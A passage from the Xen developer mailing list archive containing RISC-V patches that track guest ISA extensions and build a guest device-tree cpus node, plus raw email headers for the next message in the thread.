 xen/arch/riscv/include/asm/cpufeature.h |   6 ++
 xen/arch/riscv/include/asm/domain.h     |   3 +
 4 files changed, 119 insertions(+), 24 deletions(-)

diff --git a/xen/arch/riscv/cpufeature.c b/xen/arch/riscv/cpufeature.c
index 92235fdfd5ab..5002ddc92a22 100644
--- a/xen/arch/riscv/cpufeature.c
+++ b/xen/arch/riscv/cpufeature.c
@@ -14,6 +14,7 @@
 #include <xen/errno.h>
 #include <xen/init.h>
 #include <xen/lib.h>
+#include <xen/sched.h>
 #include <xen/sections.h>
 
 #include <asm/cpufeature.h>
@@ -34,6 +35,19 @@ struct riscv_isa_ext_data {
     .name = #ext_name,                          \
 }
 
+struct riscv_isa_ext_entry {
+    unsigned int id;
+    const char *name;
+    bool guest_supported;
+};
+
+#define RISCV_ISA_EXT_ENTRY(ext_name, guest_supp)       \
+{                                                       \
+    .id              = RISCV_ISA_EXT_ ## ext_name,      \
+    .name            = #ext_name,                       \
+    .guest_supported = guest_supp,                      \
+}
+
 /* Host ISA bitmap */
 static __ro_after_init DECLARE_BITMAP(riscv_isa, RISCV_ISA_EXT_MAX);
 
@@ -120,29 +134,30 @@ static int __init dt_get_cpuid_from_node(const struct dt_device_node *cpu,
  * and strncmp() is used in match_isa_ext() to compare extension names instead
  * of strncasecmp().
  */
-const struct riscv_isa_ext_data __initconst riscv_isa_ext[] = {
-    RISCV_ISA_EXT_DATA(i),
-    RISCV_ISA_EXT_DATA(m),
-    RISCV_ISA_EXT_DATA(a),
-    RISCV_ISA_EXT_DATA(f),
-    RISCV_ISA_EXT_DATA(d),
-    RISCV_ISA_EXT_DATA(q),
-    RISCV_ISA_EXT_DATA(c),
-    RISCV_ISA_EXT_DATA(h),
-    RISCV_ISA_EXT_DATA(zicntr),
-    RISCV_ISA_EXT_DATA(zicsr),
-    RISCV_ISA_EXT_DATA(zifencei),
-    RISCV_ISA_EXT_DATA(zihintpause),
-    RISCV_ISA_EXT_DATA(zihpm),
-    RISCV_ISA_EXT_DATA(zba),
-    RISCV_ISA_EXT_DATA(zbb),
-    RISCV_ISA_EXT_DATA(zbs),
-    RISCV_ISA_EXT_DATA(smaia),
-    RISCV_ISA_EXT_DATA(smstateen),
-    RISCV_ISA_EXT_DATA(ssaia),
-    RISCV_ISA_EXT_DATA(sstc),
-    RISCV_ISA_EXT_DATA(svade),
-    RISCV_ISA_EXT_DATA(svpbmt),
+const struct riscv_isa_ext_entry riscv_isa_ext[] = {
+    RISCV_ISA_EXT_ENTRY(i,            true),
+    RISCV_ISA_EXT_ENTRY(m,            true),
+    RISCV_ISA_EXT_ENTRY(a,            true),
+    RISCV_ISA_EXT_ENTRY(f,            false),
+    RISCV_ISA_EXT_ENTRY(d,            false),
+    RISCV_ISA_EXT_ENTRY(q,            false),
+    RISCV_ISA_EXT_ENTRY(c,            true),
+    RISCV_ISA_EXT_ENTRY(v,            false),
+    RISCV_ISA_EXT_ENTRY(h,            false),
+    RISCV_ISA_EXT_ENTRY(zicntr,       true),
+    RISCV_ISA_EXT_ENTRY(zicsr,        true),
+    RISCV_ISA_EXT_ENTRY(zifencei,     true),
+    RISCV_ISA_EXT_ENTRY(zihintpause,  true),
+    RISCV_ISA_EXT_ENTRY(zihpm,        true),
+    RISCV_ISA_EXT_ENTRY(zba,          true),
+    RISCV_ISA_EXT_ENTRY(zbb,          true),
+    RISCV_ISA_EXT_ENTRY(zbs,          true),
+    RISCV_ISA_EXT_ENTRY(smaia,        true),
+    RISCV_ISA_EXT_ENTRY(smstateen,    true),
+    RISCV_ISA_EXT_ENTRY(ssaia,        true),
+    RISCV_ISA_EXT_ENTRY(sstc,         false),
+    RISCV_ISA_EXT_ENTRY(svade,        false),
+    RISCV_ISA_EXT_ENTRY(svpbmt,       false),
 };
 
 static const struct riscv_isa_ext_data __initconst required_extensions[] = {
@@ -181,7 +196,7 @@ static void __init match_isa_ext(const char *name, const char *name_end,
 
     for ( unsigned int i = 0; i < riscv_isa_ext_count; i++ )
     {
-        const struct riscv_isa_ext_data *ext = &riscv_isa_ext[i];
+        const struct riscv_isa_ext_entry *ext = &riscv_isa_ext[i];
 
         /*
          * `ext->name` (according to initialization of riscv_isa_ext[]
@@ -480,6 +495,74 @@ bool riscv_isa_extension_available(const unsigned long *isa_bitmap,
     return test_bit(id, isa_bitmap);
 }
 
+int build_guest_isa_str(char *buf, size_t size,
+                        const unsigned long *isa_bitmap)
+{
+    char *p = buf;
+    size_t left = size;
+    int total;
+
+#if defined(CONFIG_RISCV_32)
+    total = snprintf(p, left, "rv32");
+#elif defined(CONFIG_RISCV_64)
+    total = snprintf(p, left, "rv64");
+#else
+# error "Unsupported RISC-V bitness"
+#endif
+
+    if ( total < 0 )
+        return total;
+
+    if ( buf )
+    {
+        if ( (size_t)total >= left )
+            return -ENOSPC;
+
+        p += total;
+        left -= total;
+    }
+
+    for ( unsigned int i = 0; i < ARRAY_SIZE(riscv_isa_ext); i++ )
+    {
+        const struct riscv_isa_ext_entry *ext = &riscv_isa_ext[i];
+        int ret;
+
+        if ( !riscv_isa_extension_available(isa_bitmap, ext->id) )
+            continue;
+
+        ret = snprintf(p, left, "%s%s",
+                       ext->id >= RISCV_ISA_EXT_BASE ? "_" : "",
+                       ext->name);
+        if ( ret < 0 )
+            return ret;
+
+        total += ret;
+
+        if ( buf )
+        {
+            if ( (size_t)ret >= left )
+                return -ENOSPC;
+
+            p += ret;
+            left -= ret;
+        }
+    }
+
+    return total;
+}
+
+void init_guest_isa(struct domain *d)
+{
+    for ( unsigned int i = 0; i < ARRAY_SIZE(riscv_isa_ext); i++ )
+    {
+        const struct riscv_isa_ext_entry *ext = &riscv_isa_ext[i];
+
+        if ( ext->guest_supported &&
+             riscv_isa_extension_available(NULL, ext->id) )
+            __set_bit(ext->id, d->arch.isa);
+    }
+}
+
 void __init riscv_fill_hwcap(void)
 {
     unsigned int i;
@@ -527,4 +610,5 @@ void __init riscv_fill_hwcap(void)
     if ( !all_extns_available )
         panic("Look why the extensions above are needed in "
               "https://xenbits.xenproject.org/docs/unstable/misc/riscv/booting.txt\n");
+
 }
diff --git a/xen/arch/riscv/domain.c b/xen/arch/riscv/domain.c
index 2819ff4e7c92..c9933147595e 100644
--- a/xen/arch/riscv/domain.c
+++ b/xen/arch/riscv/domain.c
@@ -308,6 +308,8 @@ int arch_domain_create(struct domain *d,
     if ( is_idle_domain(d) )
         return 0;
 
+    init_guest_isa(d);
+
     if ( (rc = p2m_init(d, config)) != 0)
         goto fail;
 
diff --git a/xen/arch/riscv/include/asm/cpufeature.h b/xen/arch/riscv/include/asm/cpufeature.h
index 0c48d57a03bb..e26f5f0b66fb 100644
--- a/xen/arch/riscv/include/asm/cpufeature.h
+++ b/xen/arch/riscv/include/asm/cpufeature.h
@@ -5,6 +5,7 @@
 #ifndef __ASSEMBLER__
 
 #include <xen/stdbool.h>
+#include <xen/types.h>
 
 /*
  * These macros represent the logical IDs of each multi-letter RISC-V ISA
@@ -44,7 +45,12 @@ enum riscv_isa_ext_id {
     RISCV_ISA_EXT_MAX
 };
 
+struct domain;
+
 void riscv_fill_hwcap(void);
+void init_guest_isa(struct domain *d);
+int build_guest_isa_str(char *buf, size_t size,
+                        const unsigned long *isa_bitmap);
 
 bool riscv_isa_extension_available(const unsigned long *isa_bitmap,
                                    enum riscv_isa_ext_id id);
diff --git a/xen/arch/riscv/include/asm/domain.h b/xen/arch/riscv/include/asm/domain.h
index 6044ce0feee0..235b20f8a6ba 100644
--- a/xen/arch/riscv/include/asm/domain.h
+++ b/xen/arch/riscv/include/asm/domain.h
@@ -7,6 +7,7 @@
 #include <xen/xmalloc.h>
 #include <public/hvm/params.h>
 
+#include <asm/cpufeature.h>
 #include <asm/guest-layout.h>
 #include <asm/p2m.h>
 #include <asm/vtimer.h>
@@ -94,6 +95,8 @@ struct arch_domain {
     struct p2m_domain p2m;
 
     struct paging_domain paging;
+
+    DECLARE_BITMAP(isa, RISCV_ISA_EXT_MAX);
 };
 
 #include <xen/sched.h>
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 15:58:35 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 15:58:35 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355500.1610351 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgliM-0000UF-RI; Mon, 06 Jul 2026 15:58:34 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355500.1610351; Mon, 06 Jul 2026 15:58:34 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgliM-0000Ry-M2; Mon, 06 Jul 2026 15:58:34 +0000
Received: by outflank-mailman (input) for mailman id 1355500;
 Mon, 06 Jul 2026 15:58:33 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wgliL-0000JL-JR
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 15:58:33 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgliL-00AcTL-0K
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 17:58:33 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd09e-5cb7-0a2a0a5109dd-0a2a4509a9ae-10
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:32 +0200
Received: from [209.85.128.46] (helo=mail-wm1-f46.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd0a8-97e6-0a2a45090019-d155802ed9ea-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:32 +0200
Received: by mail-wm1-f46.google.com with SMTP id
 5b1f17b1804b1-493c486f012so13701865e9.3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 08:58:32 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493cce03fa1sm284910325e9.11.2026.07.06.08.58.30
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 08:58:31 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783353512; x=1783958312; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=KUaoD57i3eG5vrKrWLrvtGucvmcW9ojWQ9m6U5XgH3E=;
        b=BfGfYPuGjF9KV41z8atdAB3O+2og8t0CuOcNymD/zHoq1BHKJDcSmUNb/eAh97ZR6C
         BkwUxL+tisCmEql568JMe3wTbfpUgsNwy8DqVEUKr0ys6LMbg2vH0/nDMVZupWQ5Qe4L
         wzgtsgl1M1TqO84qrJGg4c7ciKXU75Ra0I/S1dT98WW7TGFucAviOFkPRVr8DnqBbXfe
         sk0EO3K9KOkt0JEFt6vlSGQ4Fjqh4fu5xOCZLyvjs8Fr8erFDc7vZuiz88muhF+kIGsr
         6XYX4zVxjJJmVC3Tu7JAwbS+WxaioiIyByLpSVGHBdhzjU4gtj6mwz85jxr1w1xkMVA/
         +6tg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783353512; x=1783958312;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=KUaoD57i3eG5vrKrWLrvtGucvmcW9ojWQ9m6U5XgH3E=;
        b=BMXtFheM3fpiy/BWoUnE/iYdVMwm7Amna8tq6DM47YPiFIuFW3f/KbeWaoPiCC/iAu
         yjkEMR/MZWXlAtNs+4nZtQdSuoNFtOeDBWWF/ie6OXUFd5KcsSHwUuA8TedNKiAI0DT2
         Dgp5Kk/f0Tx0UK1wRm9jxBukeX748RNflMq0C6VUANPDsxC9uR5eyzvRUQxJmExdbvJF
         Ho1yi+5mji3i6ISZtyxXi/ZIegcmLAsPuH5zgQACRa+CmfgKTBiRiY8b55vWnCpKHMSZ
         jGMi++8c7F73hdKQLimHtb2TSxd0ZHYhwIUyBtWDjnTCYvALXs+ylV3R9zTqVC54QS83
         x9fA==
X-Gm-Message-State: AOJu0YzXMdxoHM3yZjFpO8ACQKIGd7VCD1i0+aamKZmptFY2dcYrC2cw
	UkRdcDXsXYJ8b1LZ3JKMpGIq9QacSkVilsHsiDi9S7JX/vLxcxF/0ONAe2m7DQ==
X-Gm-Gg: AfdE7ckyp3fKQU16R9nDC8DIMPBYff6OxdnfjQSHrv1Umww/SV9txQdX+AhGwtYh+Sj
	Cx6aN1YaLbNg9jfOdy9Ye49hAjPVcLKjt/VYgjhyFltUntIpUzfD981ELxiK1xflN6X9r8TFS0S
	wdsIGVHqqkjKdytU2ffFc14FTA5b21pZw0EHKSe7NTrO/TlIJ/AAe3jch6W6yRq/m+4y88Hzyt9
	8RsAhofFBC4aY2DaXGRd6SKNGwPAJdw98tUvOekq8mmifEa3xtHgkJPMcOszaCJ/m6IBxGT+MP9
	xnZAh1ApyE8pk8YewBH7k+Qiq60BeRseONpeDK2WfN5WTUmlI6LpL7nphxdcPypa/AjifPrVbY8
	l9c6B5PeWl9kqC7/KwdcdFPDj0BpEPey2k2a9axFqTiHSbYxTScVXsYdM94vPplbnN+lfOvEsWF
	F1Ii92w3tbEl+KDDs9x2zYI/Smd+ZxfDvlEKWK+6/jxMwmy21YsUcE6s+d+w==
X-Received: by 2002:a05:600c:6995:b0:493:bcef:5646 with SMTP id 5b1f17b1804b1-493df06ec87mr13987345e9.12.1783353512181;
        Mon, 06 Jul 2026 08:58:32 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>
Subject: [PATCH v5 10/26] xen/riscv: implement make_cpus_node()
Date: Mon,  6 Jul 2026 17:57:51 +0200
Message-ID: <d8e17abcf195ca97056c8ed078ad968f68fa4ca9.1783331040.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1783331040.git.oleksii.kurochko@gmail.com>
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-bad1c0/1783353512-46F3D986-F00E2489/10/73395122804
X-purgate-type: spam
X-purgate-size: 12770

Implement make_cpus_node() to create cpus node for a guest domain.

This function is going to be use by common dom0less code during
construction domain.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
---
Changes in v5:
- Drop Acked-by: Jan Beulich <jbeulich@suse.com> as extra changes were done
  because of the changed in prev. patch.
- Move isa_str allocation and construction out of arch_domain_create() and
  into make_cpus_node() as a local variable, since the string is only
  needed during FDT generation. Use a two-call build_guest_isa_str()
  pattern (size probe, then fill) with xvmalloc_array, and convert all
  post-allocation error returns to goto out so xvfree() runs on every path.
---
Changes in v4:
 - Update the comment in make_cpus_node() to match code style.
 - Add Acked-by: Jan Beulich <jbeulich@suse.com>.
---
Changes in v3:
 - Add blank line above make_cpus_node() function definition.
 - Move 'unsigned int cpu' from function-level declarations into the for loop.
 - Drop 'uint32_t reg = cpu_to_fdt32(cpu)'; use fdt_property_cell(fdt, "reg", cpu)
   instead of fdt_property(fdt, "reg", &reg, sizeof(reg)) so byte-order adjustment
   is handled internally.
 - Add matching /* interrupt-controller */ start comment; fix end comment to
   /* end interrupt-controller */.
 - Update d->arch.guest_isa_str to ->isa_str in make_cpus_node() function.
---
Changes in v2:
 - s/u32/uint32_t for timebase_frequency local variable.
 - Drop +1 from BUILD_BUG_ON().
 - return fdt_end_node(fdt); instead of res at the end of the function.
---
---
 build/tools/fixdep            | Bin 0 -> 13632 bytes
 xen/arch/riscv/domain-build.c | 125 ++++++++++++++++++++++++++++++++++
 2 files changed, 125 insertions(+)
 create mode 100755 build/tools/fixdep

diff --git a/build/tools/fixdep b/build/tools/fixdep
new file mode 100755
index 0000000000000000000000000000000000000000..42233e2669e9cdaf1c31723ad22c00f6c9291f7c
GIT binary patch
literal 13632
zcmeG@ZE#!Fl}ECj2q)1~fCPuHyoG0K(?piyBsfk0$&uq{R{0=tLY4+zWa-(_t}Gep
z32b1fQ`;#IVH&#7Vf(QYI$M@*mnpNQ8OYLDkguk+I{{|9p>!KhH*_TuNVcINU*ztb
z`|got#iBd?vC|(pndrQ8?m73Ickai#_uT6*w+2_(Z8jjV!ySOs$!Z^GS-$|j`6L10
zgC>{(K9FH9OaXvO&a=QLGzcHITYSO}Ay*;vz$F+iVM*ZY1)DH=h`36WSy1qhllRTA
zxP+;G)I&dsCOd>TUSa7GCOOo@cRX{0Reol^Wry&S;{9^fRypY*8}%GFT6~Aw(j$CG
zybxiE3;KxvYcN0@TY5DDD;B$e`8x?6d_GfS37n}BehO?+*mf3_+H0C)@tfvY5`<+T
zPnhhj`@o3&DfZR~J>NA}#lCASdxSfLJ;G$~?hlLz#`FIQ)UDQ%pJm$5A=;0yXclhw
zY5?9(+g7cIAH2A(XVCkty6*R0I`HGJpY{(z&;6&Q8_%hO#~o^>>e+b!>TuSuvqS3O
zUdNt-n{3e&^8i@wlk)(ixjtaENN>UN{1{`5)qVwOG@C!f>4%X<uku+=Cy~b9kbjxe
ze~mPTCBK8yok-)5$ZzNLy+~uI@&lY+i}X~adpUg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3,11 @@
 #include <xen/fdt-domain-build.h>
 #include <xen/fdt-kernel.h>
 #include <xen/init.h>
+#include <xen/libfdt/libfdt.h>
 #include <xen/sched.h>
+#include <xen/xvmalloc.h>
 
+#include <asm/cpufeature.h>
 #include <asm/current.h>
 #include <asm/guest_access.h>
 
@@ -48,3 +51,125 @@ int __init construct_domain(struct domain *d, struct kernel_info *kinfo)
 
     return 0;
 }
+
+int __init make_cpus_node(const struct domain *d, struct kernel_info *kinfo)
+{
+    int res;
+    const struct dt_device_node *cpus = dt_find_node_by_path("/cpus");
+    uint32_t timebase_frequency;
+    bool frequency_valid;
+    void *fdt = kinfo->fdt;
+    char *isa_str;
+    int len;
+
+    dt_dprintk("Create cpus node\n");
+
+    if ( !cpus )
+    {
+        dprintk(XENLOG_ERR, "Missing /cpus node in the device tree?\n");
+        return -ENOENT;
+    }
+
+    frequency_valid = dt_property_read_u32(cpus, "timebase-frequency",
+                                           &timebase_frequency);
+
+    if ( (len = build_guest_isa_str(NULL, 0, d->arch.isa)) < 0 )
+        return len;
+
+    if ( !(isa_str = xvmalloc_array(char, len + 1)) )
+        return -ENOMEM;
+
+    if ( build_guest_isa_str(isa_str, len + 1, d->arch.isa) != len )
+    {
+        res = -EINVAL;
+        goto out;
+    }
+
+    res = fdt_begin_node(fdt, "cpus");
+    if ( res )
+        goto out;
+
+    res = fdt_property_cell(fdt, "#address-cells", 1);
+    if ( res )
+        goto out;
+
+    res = fdt_property_cell(fdt, "#size-cells", 0);
+    if ( res )
+        goto out;
+
+    if ( frequency_valid )
+        res = fdt_property_cell(fdt, "timebase-frequency", timebase_frequency);
+
+    for ( unsigned int cpu = 0; cpu < d->max_vcpus; cpu++ )
+    {
+        char buf[64];
+
+        snprintf(buf, sizeof(buf), "cpu@%u", cpu);
+        res = fdt_begin_node(fdt, buf);
+        if ( res )
+            goto out;
+
+        res = fdt_property_cell(fdt, "reg", cpu);
+        if ( res )
+            goto out;
+
+        res = fdt_property_string(fdt, "status", "okay");
+        if ( res )
+            goto out;
+
+        res = fdt_property_string(fdt, "compatible", "riscv");
+        if ( res )
+            goto out;
+
+        BUILD_BUG_ON((sizeof("riscv,") +
+                      sizeof_field(struct gstage_mode_desc, name)) >= sizeof(buf));
+        snprintf(buf, sizeof(buf), "riscv,%s", max_gstage_mode->name);
+        res = fdt_property_string(fdt, "mmu-type", buf);
+        if ( res )
+            goto out;
+
+        res = fdt_property_string(fdt, "riscv,isa", isa_str);
+        if ( res )
+            goto out;
+
+        res = fdt_property_string(fdt, "device_type", "cpu");
+        if ( res )
+            goto out;
+
+        /* Start of interrupt-controller */
+        res = fdt_begin_node(fdt, "interrupt-controller");
+        if ( res )
+            goto out;
+
+        res = fdt_property_string(fdt, "compatible", "riscv,cpu-intc");
+        if ( res )
+            goto out;
+
+        res = fdt_property_cell(fdt, "#interrupt-cells", 1);
+        if ( res )
+            goto out;
+
+        res = fdt_property(fdt, "interrupt-controller", NULL, 0);
+        if ( res )
+            goto out;
+
+        res = fdt_property_u32(fdt, "phandle", alloc_phandle(kinfo));
+        if ( res )
+            goto out;
+
+        /* End of interrupt-controller */
+        res = fdt_end_node(fdt);
+        if ( res )
+            goto out;
+
+        res = fdt_end_node(fdt);
+        if ( res )
+            goto out;
+    }
+
+    res = fdt_end_node(fdt);
+
+ out:
+    xvfree(isa_str);
+    return res;
+}
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 15:58:37 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 15:58:37 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355503.1610364 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgliP-0000zw-9f; Mon, 06 Jul 2026 15:58:37 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355503.1610364; Mon, 06 Jul 2026 15:58:37 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgliP-0000y1-3U; Mon, 06 Jul 2026 15:58:37 +0000
Received: by outflank-mailman (input) for mailman id 1355503;
 Mon, 06 Jul 2026 15:58:35 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wgliN-0000Wb-7I
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 15:58:35 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgliM-009ym5-Jf
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 17:58:34 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd091-e002-0a2a0a5209dd-0a2a4504c49a-30
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:34 +0200
Received: from [209.85.128.47] (helo=mail-wm1-f47.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd0aa-a01d-0a2a45040019-d155802fd0f7-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:34 +0200
Received: by mail-wm1-f47.google.com with SMTP id
 5b1f17b1804b1-493bf73ec2aso20503805e9.2
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 08:58:34 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493cce03fa1sm284910325e9.11.2026.07.06.08.58.32
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 08:58:32 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783353514; x=1783958314; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to;
        bh=7lv2O45XMhPXIdRz4+cb8L4pJQyLhC4GuzwrLqLgLnk=;
        b=Vj2GiPTeZk+VrXHiWbA+gvOxWDDeQ73icEK2h3yAM2T0aJrtcGQtD7NqN8xEjoX2le
         cBiI8NxclOyoYpJ2/P6vmqU/aWEsRbYmbDDmrv2Z/ZbBX3TSTCs9pX0i429iSb0MZAfJ
         gt4TkznqR9GqBotqNgExNmG3bqnF3a0qUoLSOliS6EBWXD77F5qxN+1chftwnLdmHxya
         LFCPd9Vkn9/O8NZWSCRon+tfPKUl3PyeG5xty3kxjv9jw92oy/CXY6Mw29Cc9195D/9j
         SFpaLIVL4nW2aROcsQeVZpDFVtZGrK964qoolj7JyJlQafh6nTdbQtP/DAtH4if2RdEL
         FXlQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783353514; x=1783958314;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to;
        bh=7lv2O45XMhPXIdRz4+cb8L4pJQyLhC4GuzwrLqLgLnk=;
        b=cd8a50B7/hF4aURFpT0bKgV/27T1n+kJ12pY5jdjOpGJq9j+SFlfl6e4XoSL4n6Fvq
         Ln6bttiIdN/hOlzSg8CQayLD87b6HuWIblAbH2Lgh2v+GhPbCupjCW4MfbEN62mQ4oiR
         Kjn3pAQwHdyikfwAlpB9E7RxVRJmrFUC1GMy142dRTviI2Dyf0jxIQy3TEV34khc+kSi
         nKosjWy5j4Po+JBQMS0W03zvT3uaZY/xraIiPWjpP+PVKpxUdjyW+HZr0/xyRPgs+PgD
         UyHW1lIrdZT+CY4ee+56ylUR/TEtr8tX1p9nsDXezTbytkQVprbPwqtWleW08WxcFriK
         pCPQ==
X-Gm-Message-State: AOJu0Yz3vLuHubX8Aw9sEpNPi0xqkdICg7DBzstxOXeuPiAkVS/o81rA
	xCgTZgH2FiOuJD74S849oNyQMDCAV1gOHhWzRRzZvY5VTNWcppqBlbwr59v5vQ==
X-Gm-Gg: AfdE7clHbuTMHn6WD56cl7V9/eBH9vRXtjTf1bYy38KJE0Q+5p5K04H/TucdYALtQR3
	v+OVN5LxEbN/YqtuDuwabTa+48RoYBdgr6Vib7rXkG4zbkNtewIkurzG8ifshOLZaAicmO7TwwO
	OXWVGXL8uy5vi3o1uEFovqBlzJmBH9gDfpwvDEE7EN8yFozlK8jOoBcbYt2/kY2fBLM05ZCDqAj
	nEyV7huQVGEIeYzy7nVzO2VfyebuYe3S56sE02hMaZ46oZQCh2k7vpiQ/1nIgs4hXMuycwmIjF7
	uAiOlNNlUe47aMd8RhFB6bedPmHujYtxQPoyl0f/fLF1HVLVVkGfBKPNRFTR45ycc2MITm4rtVJ
	UE7IDWKvhIcp6MygBD9QjikgJUjMv49hAT+X+x3/jaRtsMG56kfYgW172Blhldm/56ienShSCBE
	e3+ogLIaA6P9vliCdQ9BmIPl07ED4JJTflrOHvHlFPSk1jmTNSHWJZ6ezLKg==
